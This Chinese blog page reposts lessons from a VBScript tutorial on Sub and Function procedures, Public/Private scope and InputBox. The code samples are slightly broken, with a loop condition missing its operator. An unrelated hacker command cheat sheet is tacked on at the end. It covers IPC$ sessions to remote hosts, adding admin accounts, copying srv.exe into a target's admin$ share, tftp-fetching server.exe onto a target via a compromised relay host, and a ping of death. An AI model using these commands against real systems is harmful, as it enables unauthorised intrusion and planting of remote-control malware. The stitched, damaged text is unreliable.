VBS教程2

VBS教程2
2011年02月19日
  OK,脚本运行成功。
  其实,像这么简单的脚本,我们完全可以不用sub过程也可以实现,这里呢我就不把代码写出来了,希望学习VBS的朋友可以自己下去摸索摸索,写完之后发出来跟大家交流交流。
  但是,这节课我还是使用了sub过程,还用了两个,第一个是用于实现转换变量值的过程,第二个,是针对button1被单击的事件写的过程,如果你对第二个过程不理解,可以去看我那个开场篇,里边详细介绍的有。
  我上边说了,这个例子非常经典,为什么说它经典呢?因为它包含了我们这节课要介绍的一种思想,一种将一个大程序的许多功能分成用一个一个语句块来实现的一种思想。
  我们先是定义了一个具备转换功能的过程,然后在下面的语句中使用call关键字调用了该过程,那么这就是我们这个交换变量值的脚本的实现思想。
  在上例中的第7行里,我是这么写的:
  c=a:a=b:b=c
  中间用的是冒号,在VBS里,这句话跟下边的这几句的效果是一样的:
  c=a
  a=b
  b=c
  也就是说,当两条或多条语句非常短时,我们可以将它们放到同一行里来,在它们的中间使用冒号分隔开,这样就行了。
  另外,代码的第9行,我使用了一个单引号,然后在这个单引号后面写了很多内容,但是我们运行网页的时候并没有发现这些内容出现在网页中,为什么呢?
  聪明的你可能已经想到了,对,这就是VBS中的注释,在VBS里,注释内容是以一个单引号开始的,注释内容可以帮助我们理解这些代码,可以使人的思路变得清晰,所以养成在你的代码里多写注释的习惯是非常有必要的。
  那么,这些琐碎的东西处理完,我们开始讲这节课里的正主―--过程。
  看代码的第5行,
  sub myswap(a,b)
  这句话的意思是,定义一个名为myswap的过程,这个过程有两个参数,我们要记得的是,在定义过程时括号中跟的参数,被成为形式参数,至于形式到底是什么意思,需要咱们自己来稍微的理解一下,其实也就是这些参数并没有被实际使用到,呃,好像我这里说的有点模糊,还是咱们自己去理解吧,这里的形式参数跟后面的调用过程时的实际参数是一一对应的。
  然后,在代码的第8行,使用end sub语句结束myswap过程的定义。
  代码的第10行,
  sub button1_onclick()
  定义了一个针对button1按钮被单击时要执行的过程。
  第11行,使用dim语句声明了两个变量。
  第12行和第13行,为这两个变量赋值。
  第14行,使用call语句来调用myswap过程,并将括号内的x和y传递给myswap过程充当原本定义myswap过程时的参数a和参数b,这两个被传递过去的参数,被称为实际参数,它们的作用是替换形式参数。
  第19行,结束该sub过程。
  好了,对于一名跟代码打交道的人来说,代码出现错误那是再正常不过的事了,所以我们在学习语言的时候一定要有耐心,如果你的程序出错了,耐着性子去调试它,你会在调试它的过程中学到很多课本上讲不到的知识,学习脚本也是如此。
  另外,说一下,不要想着一篇文章你看一遍就完全懂了,你应该去看第二遍、第三遍,直到你掌握了它为止。
  好了,sub过程就先说到这,我们的VBS系列,到这里也要中途停止一段时间了,大概到10月份左右,我会回来继续写的,非常感谢那些耐心看我课程的朋友,谢谢你的支持。
  再见。
  今天是9月6号,开始继续更新VBS教程。
  上次因为一些私人原因,在6月21日的时候,发完第9节我就没再写了,那么,现在事情已经解决完毕,就开始继续写了。
  这也算是我的作品之一吧,我不希望我任何的一部作品会TJ,无论有没有人欣赏,我都会一天一天的把它写下去。
  上节课说的是sub过程,那么这节课就说说function函数吧。
  你可能会发现,我在上面这句话中,对sub和function用的名词不一样,我说的是sub过程和function函数,一个是过程,一个是函数,但是,从根本上来说,这2个都是过程,但它们也有一点的区别,即sub无返回值,而function有返回值,所以sub也是无返回值的过程,function是有返回值的过程,我习惯把function过程称为function函数。
  Function函数的基本语法格式为:
  Function 函数名 (形式参数)
  命令
  End function
  Function函数的调用格式为:
  函数名 (实际参数)
  Function函数的基本语法和调用格式,跟sub过程的都差不多的。
  好了,下面我们还是来看代码吧,这是一个在VBS教学中非常经典的例子--求最大公约数,那么我这里就老调重弹一下吧:
  ------------------------vbs_5.htm----------------- -------
  
  
  VBS系列课程--使用function函数求最大公约数
  
  function common(x,y)
  dim t
  '开始do...loop循环
  do while y0
  t=x mod y
  x=y
  y=t
  loop
  '结束do...loop循环
  common=x '将common函数的返回值设为x的值
  end function
  sub button1_onclick()
  dim a,b,c
  a=form1.text1.value b=form1.text2.value c=common(a,b) '使用common函数计算c的值
  form1.text3.value=c
  end sub
  
  
  
  
  请输入第一个整数:
  
  

  请输入第二个整数:
  
  

  求出最大公约数为:
  
  

  

  
  
  
  
  看看效果:
  我输入两个整数,求它们的最大公约数:
  好了,我们的脚本成功运行。
  那么,看完代码之后呢,我再说几点关于function函数的注意事项。
  因为function函数一般都是有返回值的,那么我们可以直接使function函数名出现在等式右方,即其可以被用在赋值语句里,比如:
  Function common (x,y) ‘声明一个名为common的function函数
  ……
  C=common(a,b) ‘将函数的返回值赋给c
  那么,从上面的例子中我们可以看到,function函数是可以出现是赋值语句的右边的,其实它也可以出现在赋值语句的左边,比如:
  Function common (x,y) ‘声明一个名为common的function函数
  dim r
  do while y0
  r=x mod y
  x=y
  y=r
  loop
  common=x ‘将x的值设为common函数的返回值
  另外,我们一定要记得的是,function函数是有返回值的,那么,我们可不可以定义一个没有返回值的function函数呢?
  答案是肯定的,我们完全可以定义一个表面上看起来没有返回值的function函数,比如:
  Function common (x,y) ‘声明一个名为common的function函数
  dim r
  do while y0
  r=x mod y
  x=y
  y=r
  loop
  common=x ‘将x的值设为common函数的返回值
  这段代码中,如果我们不写最后一句“common=x”,那么这个名为common的function函数则在表面上看起来是没有返回值的。
  但是,请注意我上面的用词,我说的是在表面上看起来没有返回值,那么实际上呢?
  实际上是不违反function函数的定义的,也就是说,实际上是有返回值的。
  像上边这段代码中,如果我不写最后那句代码,也就是说我没有给这个函数定义它的返回值,那么这个时候,function函数将会返回一个默认值:
  对于数值型函数,返回0;
  对于字符串型函数,返回空字符串,即””。
  好了,对于VBS中最重要的2个过程- -sub过程和function函数,我已经讲的差不多了,在下一节,我会单独的开一节课,来说这两个过程的访问权限的问题。
  完毕。
  这节课我们来说说sub过程和function函数的一个定义规则,即public和private。
  在声明sub过程和fuction函数的时候,我们是可以在其声明语句前边加上这2个规则的,如,在vbs_4.htm中:
  sub myswap(a,b) 我们也可以写成:
  Public sub myswap(a,b)
  再比如,在vbs_5.htm中:
  function common(x,y)
  我们也可以写成:
  Public function common(x,y)
  这个public如同它的字面意思一样,是表示公用的意思,如果我们在过程或函数的声明语句前加上这个public,那么,就表示这个过程或函数是公用过程、公用函数,那么这个过程或函数就可以被脚本中的所有过程或函数访问、调用。
  相反的,如果我们在过程或函数的声明语句前加上private,就表示这个过程或函数是私有过程、私有函数,既然是私有的,理所当然的,这个即将被声明的过程或函数是不可以被脚本中的其他过程或函数访问并调用的。
  这里的public和private有点像我们前边的课程里说的过程级变量和脚本级变量的区别,忘了的朋友可以去看下本VBS系列课程的第6课。
  那么,你可能会有点疑问,因为我们无论是在vbs_4.htm中,还是在vbs_5.htm中,都没有使用public或private,这是因为如果我们在声明一个过程或函数的时候没有指定其为public或为private的时候,VBS就默认的认为它是public,即默认公用。
  那么,说了这么多,关于public和private的内容就说完了,下面再说一点点原来没有提及到的内容。
  我们不可以在一个sub过程中再声明一个function函数,同样的,我们也不可以在一个function函数中声明一个sub过程,这是VBS所不允许的。
  过程和函数都是可以递归的,什么是递归呢?
  递归就是可以调用自身去完成任务,但是我建议朋友们慎用递归功能,因为递归有可能导致堆栈溢出。
  好了,这节课就说这么多了,完毕。
  说完了sub过程和function函数,我们再来介绍一下VBS中其他的函数。
  这节课要说的是inputbox函数,这是VBS中的一个输入函数。
  Inputbox函数的作用是弹出一个文本输入对话框,等待用户输入或单击按钮,并且该函数可以返回用户输入的内容。
  该函数的基本语法格式为:
  Inputbox prompt,title,default
  其中,prompt表示要显示的提示信息,title表示弹出的对话框的标题,default表示脚本运行时文本框里要显示的内容。
  这个函数的作用跟我们在本系列课程的第6节里使用到的prompt方法效果是差不多的,好了,下面还是来看代码吧:
  ------------------------vbs_6.htm----------------- -------
  
  
  VBS系列课程--inputbox函数
  
  sub MySub
  dim username
  username=inputbox("请输入你的名字:","inputbox函数应用示例")
  alert("欢迎你,"& username & "!")
  end sub
  
  
  
  打开本页面时,会弹出一个对话框要求输入名字,输入完毕后点击确定,然后弹出欢迎对话框。
  
  
  我们来看看效果:
  我输入一些文字:
  点击确定:
  这个函数的效果就是这样的了。
  我在上面的代码中并没有使用default这个参数,这个参数一般都是不会使用的,当然,使用此参数的效果如图:
  使用了default参数的话,在对话框弹出的时候文本框里就显示出了我们预先定义好的文字。
  对于这个函数来说,如果用户单击“确定”按钮或按回车键,函数都会返回用户输入的内容,如果用户单击“取消”或按ESC键,则函数返回一个零长度字符串(””)。
  好了,这个函数的内容就介绍完了,再见。
  上一篇:VBS系列课程--14
  下一篇:VBS系列课程--12
  |返回日志列表
  [转] VBS系列课程--13 [图片] 分享 复制地址 日志地址:
  请用Ctrl+C复制后贴给好友。
  转载自 三叶草 2011年01月06日 12:10 阅读(0) 评论(0) 分类:设置空间 权限: 公开
  字体:中
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 net use $">\\ip\ipc$ " " /user:" " 建立IPC空链接 net use $">\\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: $">\\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: $">\\ip\c$ 登陆后映射对方C:到本地为H: net use $">\\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名 开启服务;(如:net start telnet, net start schedule) net stop 服务名 停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C:共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP(属telnet登陆后的命令) telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 copy c:\srv.exe $">\\ip\admin$ 复制本地c:\srv.exe到对方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值